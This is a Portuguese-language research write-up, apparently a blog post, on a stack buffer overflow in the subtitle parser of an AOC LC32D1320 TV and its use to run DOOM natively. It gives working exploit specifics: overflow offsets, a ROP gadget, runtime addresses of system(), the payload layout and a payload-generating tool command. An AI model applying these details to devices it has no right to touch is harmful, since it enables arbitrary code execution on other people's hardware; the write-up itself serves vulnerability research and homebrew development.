Blog

AOC LC32D1320 — Stack Overflow no Parser PSB + Port do DOOM


1. Sumário Executivo

Esta pesquisa documenta a descoberta, exploração e pós-exploração de uma vulnerabilidade de stack-based buffer overflow no parser de legenda PSB da TV AOC LC32D1320. O parser vulnerável reside em libGenSub.so, dentro do processo plfApp, e é ativado automaticamente pelo Media Center ao enumerar arquivos de legenda em um pendrive USB.

A cadeia completa foi confirmada em hardware real e compreende três fases: (1) stack overflow via arquivo PSB malicioso resultando em ACE, (2) execução de diagnósticos nativos MIPS para mapear o hardware gráfico e de input, e (3) port funcional do DOOM rodando diretamente no framebuffer da TV com controles pelos botões físicos do painel.

Campo Valor
Produto afetado AOC LC32D1320 (TV 32")
Firmware V2.05 (uClibc 0.9.29, kernel Linux 2.6.18)
Arquitetura MIPS32 Big-Endian
Componente vuln libGenSub.sogensub_ParsePsb @ ELF 0x20e24
Tipo de vuln Stack-Based Buffer Overflow (strcpy sem checagem)
Vetor Arquivo .PSB malicioso em pendrive USB
Impacto ACE: execução de system(cmd) no processo plfApp
Pré-requisito Acesso físico para inserir pendrive
Proteções ausentes Sem ASLR, sem NX, sem RELRO, sem stack canaries
ACE confirmada SIMace_psb.log criado em hardware real (PSB51)
DOOM confirmado SIM — render na TV com input pelos botões físicos
SDK resultante libaoc (SDK C estático reutilizável para o firmware)

2. Ambiente Alvo

2.1 Hardware e Firmware

A TV AOC LC32D1320 roda um SoC da família Trident com CPU MIPS32 big-endian. O firmware V2.05 usa sistema de arquivos MTD multi-partição. O boot é controlado por scripts shell, com sbtvd.sh como principal para o modo SBTVD.

O kernel embutido, Linux 2.6.18_pro500.default de 2010, não implementa nenhuma proteção moderna contra exploração de memória.

2.2 Proteções de Memória Ausentes

O script common.sh configura o sistema para coredumps em USB no boot:

mount /dev/sda /etc/core
echo '/etc/core/core.%e.%p.%s' > /proc/sys/kernel/core_pattern
ulimit -c unlimited

2.3 Arquitetura de Processos do Media Center

O parser PSB roda em plfApp (não em mmApp), comunicando via IPC FusionDale:

mmApp -> libtplftmplayerClient.so
    |  IPC/FusionDale (opcode 0x1037)
plfApp -> libtplftmplayerSupply.so -> libtapi.so -> libGenSub.so

3. Análise da Vulnerabilidade

3.1 Caminho de Código Vulnerável

APP_MediaSub_GetSubtitle()                  [mmApp]
  -> Tplf_TMP_GenSub_GetSubfileDesc()       [libtplftmplayerClient @ 0x16278]
    -> [IPC FusionDale opcode 0x1037]
      -> int_tapi_TMP_GenSub_GetSubfileDesc  [libtapi @ 0x6981c]
        -> gensub_splitter_init()            [libGenSub @ 0x24a14]
          -> gensub_ParsePsb()               [libGenSub @ 0x20e24]  <- VULNERÁVEL

3.2 O Buffer Overflow

Dentro de gensub_ParsePsb, o texto da legenda é copiado para um buffer de tamanho fixo na stack do caller sem verificação de comprimento:

strcpy(arg2 + 0x11, texto_da_linha)

Uma linha de texto suficientemente longa transborda o buffer e sobrescreve a stack do frame pai (gensub_splitter_init). A geometria exata, confirmada pelos coredumps:

Offset no texto PSB O que é sobrescrito
0x000 - 0x0FF Texto da legenda (payload shell command)
0x100 - 0x103 saved $s0 em gensub_ParsePsb
0x104 - 0x107 saved $s1 em gensub_ParsePsb
0x108 - 0x10B saved $ra em gensub_ParsePsb

3.3 Gadgets ROP e Cadeia de Exploração

O gadget final usado no exploit (PSB51) está na libc e preserva $a0, que o parser já deixa apontando para o início do texto da legenda:

libc + 0x4a780 (runtime: 0x2bbfaa44):
    move $t9, $s1    ; carrega system() em t9
    jalr $t9         ; salta para system()
    nop              ; delay slot MIPS

O payload PSB51 usa implicit a0: o próprio texto da legenda é o comando shell, terminado com # para o shell ignorar os bytes binários dos registradores:

:>/etc/core/ace_psb.log #[padding até 0x104][s0][s1=system()][ra=gadget]

3.4 Confirmação em Hardware — ACE

Configuração dos registradores runtime (bases estáveis entre boots):

libGenSub.so        = 0x2b273000
libc.so.0           = 0x2bbb8000
libc system()       = 0x2bc07240
gadget libc+0x4a780 = 0x2bbfaa44
caller_sp           = 0x7c6e5d40

Resultado do PSB51 em hardware real: arquivo ace_psb.log criado na raiz do pendrive. ACE prática confirmada.


4. Pós-ACE: Bring-Up de Binários Nativos

Com ACE confirmada, a fase seguinte foi trazer binários nativos MIPS/uClibc para rodar na TV via pendrive USB, como estágio inicial para o port do DOOM.

4.1 Toolchain e Sysroot

Cross-compiler: mips-linux-gnu-gcc. ABI: MIPS32R2, big-endian, o32. Flags principais: -EB -mips32r2 -mabi=32. As bibliotecas do runtime vieram do dump de firmware da TV (mtd5/lib).

Todos os binários nativos usam:

4.2 Progressão de Probes Nativas

A estratégia foi progredir de um binário mínimo (tvprobe) até o DOOM completo, com uma sonda dedicada para cada gargalo:

Probe Propósito e Resultado
tvprobe Prova mínima de execução nativa: escreve tvprobe.ok. PASSOU.
logprobe Prova de exec direta de /mnt/doom sem staging /tmp. PASSOU.
hidprobe Abre /dev/hidtv2dge, lê FBIOGET_FSCREENINFO, mmap read-only. PASSOU.
hidpaint Pinta blocos coloridos em todas as páginas do framebuffer. PASSOU — visível na TV.
pthreaddlprobe dlopen(libpthread) + pthread_self via dlsym. PASSOU.
dfbprobe DirectFBInit + DirectFBCreate. FALHOU em pthread_create dentro do DirectFB.
hellofb DirectFBCreate isolado. FALHOU antes do primeiro log — DirectFB runtime não carregou.
doomdiag DirectFB diagnóstico completo. Abandonado em favor do path raw hidtv2dge.

4.3 Descoberta Crítica: Framebuffer Raw Sem DirectFB

A tentativa de usar DirectFB (o stack de compositing do firmware) esbarrou num problema de bootstrap pthread: o processo filho iniciado via system() herda um ambiente de runtime do plfApp incompatível com a inicialização do manager de threads do LinuxThreads. Nenhuma das técnicas tentadas resolveu o pthread_create dentro do espaço de processo do filho:

O pivot decisivo veio do hidprobe: o dispositivo /dev/hidtv2dge (o framebuffer/OSD plane) é diretamente mapeável via mmap sem nenhuma dependência de DirectFB ou pthread. O hidpaint provou que escrita contínua nesse plane é visível sobre o vídeo do player, sem necessidade de matar o mmApp.

Valores do framebuffer confirmados pelo hidprobe:

id:            HiDTV SVP OSD
resolução:     960 x 540
bpp:           32 (ARGB8888)
stride:        3840 bytes/linha
framebuffer:   0x0e000000, 33554432 bytes (32 MiB)
page_len:      2073600 bytes (1 página = 960×540×4)
páginas mmap:  16

5. Port do DOOM para a LC32D1320

Com o path gráfico raw confirmado, o port do DOOM (baseado no doomgeneric) foi adaptado para usar /dev/hidtv2dge diretamente, sem DirectFB, sem pthread e sem dependências além de libc.so.0.

5.1 Backend Gráfico

O DG_DrawFrame do port abre /dev/hidtv2dge, lê a geometria via ioctl, mapeia os 32 MiB com PROT_READ|PROT_WRITE, e escala o framebuffer interno do DOOM (320×200) para o plane do OSD (960×540). O alpha é forçado em 0xFF000000 para garantir visibilidade no plano overlay. Todas as páginas completas do mapeamento são pintadas por frame, replicando o comportamento do hidpaint que provou ser visível.

5.2 Problemas Resolvidos Durante o Bring-Up

5.3 Backend de Input

O input foi mapeado através da engenharia reversa do módulo DirectFB da TV. O libdirectfb_trid_input.so cria um socket Unix em /tmp/hp_dfb_handler e recebe pacotes de 8 bytes (word 0 = 1, word 1 = key code). O port DOOM cria um socket AF_UNIX/SOCK_DGRAM no mesmo path, desbindando o path anterior para capturar os eventos de input que a TV enviaria para o DirectFB. O fcntl é feito via raw MIPS syscall para evitar incompatibilidade com __fcntl_time64 da TV.

Mapeamento final confirmado por sessão de calibração real na TV:

Botão Código Raw Ação no DOOM
Vol+ 0x0000003c Frente (KEY_UPARROW)
Vol- 0x0000003d Ré (KEY_DOWNARROW)
Menu 0x00010319 Atirar (KEY_FIRE)
CH+ 0x00010316 Virar Esquerda (KEY_LEFTARROW)
CH- 0x00010317 Virar Direita (KEY_RIGHTARROW)
Input 0x00010318 / 0x3e / 0x100017 Usar/Abrir (KEY_USE)

5.4 Resultado Final: DOOM Rodando

O build com wipegamestate=gamestate renderizou DOOM na TV. Comportamento observado:


6. libaoc: Mini-SDK Resultante

Após o DOOM funcionar, o código de display/input/log específico da TV foi extraído para um SDK C estático reutilizável chamado libaoc (github.com/teogabrielofc/libaoc), tornando o repositório usável como base para outras apps nativas nesta TV.

6.1 Estrutura do SDK

libaoc/include/aoc/aoc.h      — header público
libaoc/src/aoc_fb.c           — abre /dev/hidtv2dge, lê geometria, mapeia VRAM, apresenta frames XRGB8888
libaoc/src/aoc_input.c        — binda /tmp/hp_dfb_handler, decodifica pacotes remotos, fallback /dev/remote
libaoc/src/aoc_log.c          — logs com fsync opcional
libaoc/src/aoc_runtime.c      — raw MIPS syscalls para ioctl/fcntl, helpers de tempo/sleep
runtime/start.S               — entrypoint MIPS/uClibc
runtime/appinit.c             — _init e _fini no-op
runtime/uclibc_compat.c       — shims de builtins glibc

6.2 Knobs de Runtime

Variável Efeito
AOC_FB_PAGES=1 Pinta uma página por frame (padrão — caminho rápido)
AOC_FB_PAGES=all Pinta todas as páginas por frame (seguro, mais lento)
AOC_FB_FULL_REFRESH_EVERY=0 Desabilita refreshes periódicos completos
AOC_INPUT_DEBUG=1 Reabilita logs raw de input para mapeamento de botões

7. Launcher Final: PSB60

O payload de lançamento do DOOM consolidado é o PSB60_LAUNCH_DOOM. Ele usa a mesma técnica de ACE do PSB51, com o comando shell sendo o launcher do DOOM:

chmod +x /mnt/doom/launch.sh; /mnt/doom/launch.sh

Constantes do PSB60 (valores confirmados do firmware testado):

libc base:             0x2bbb8000
system():              0x2bc07240
gadget (implicit-a0):  0x2bc02780

Para um firmware diferente, o make_psb.py aceita um coredump e recalcula automaticamente:

python tools/make_psb.py doom-launcher --core path/to/core

O launcher exporta o ambiente necessário e inicia o DOOM:

export AOC_FB_PAGES="${AOC_FB_PAGES:-1}"
export AOC_FB_FULL_REFRESH_EVERY=0
export AOC_INPUT_DEBUG=0
/mnt/doom/doom -iwad /mnt/doom/doom1.wad -nosound -nomusic -warp 1 1

8. Linha do Tempo Completa da Pesquisa

Fase Marco
RE estático Análise do firmware V2.05, identificação do PSB overflow em libGenSub.so
RE estático Mapeamento da cadeia IPC FusionDale: mmApp -> plfApp -> libGenSub
RE estático Gadgets ROP em libGenSub.so e libtapi.so identificados
Stage 1 PSB corpus de crash: TV trava conforme esperado
Coredump Superfloppy FAT32 + USB no boot → coredump capturado com bases runtime
Stage 2 PSB48: controle de $a0 provado (badvaddr=0x41414141)
Stage 2 PSB46: abort() no plfApp provado (core com sinal 6)
ACE PSB51: ace_psb.log criado no pendrive. ACE confirmada.
Native bins tvprobe.ok: primeiro binário nativo MIPS rodando via PSB
Framebuffer hidprobe.ok: /dev/hidtv2dge mapeável sem DirectFB
Framebuffer hidpaint visível na TV: plano OSD confirmado
DirectFB dfbprobe: falha em pthread_create dentro de DirectFBCreate
Pivot Abandono do DirectFB; port DOOM usa raw /dev/hidtv2dge
DOOM Fix ctype recursion, boolean cast, timer hang, wipe path
DOOM DOOM renderizando na TV: draw frame 1, 2, 3, 4, 5...
Input Calibração: Vol+/Vol-/Menu/CH+/CH-/Input mapeados para Doom keys
libaoc SDK Código extraído para SDK estático C reutilizável
PSB60 Launcher unificado: PSB60_LAUNCH_DOOM com documentação completa

9. Discussão e Mitigações

9.1 Causa Raiz

Uso de strcpy sem verificação de comprimento para copiar entrada de usuário (arquivo de legenda) para buffer de tamanho fixo na stack. Correção imediata: substituir por strncpy com validação prévia do comprimento da linha.

9.2 Fatores Agravantes

9.3 Mitigações

A natureza do produto (TV de 2010 sem suporte ativo) torna improvável qualquer patch. Esta pesquisa é inteiramente educacional, conduzida em hardware próprio.


Pesquisa conduzida em hardware próprio para fins educacionais. | Abril 2026

Publicado em Maio 2026 — algumas informações sobre o libaoc podem estar desatualizadas.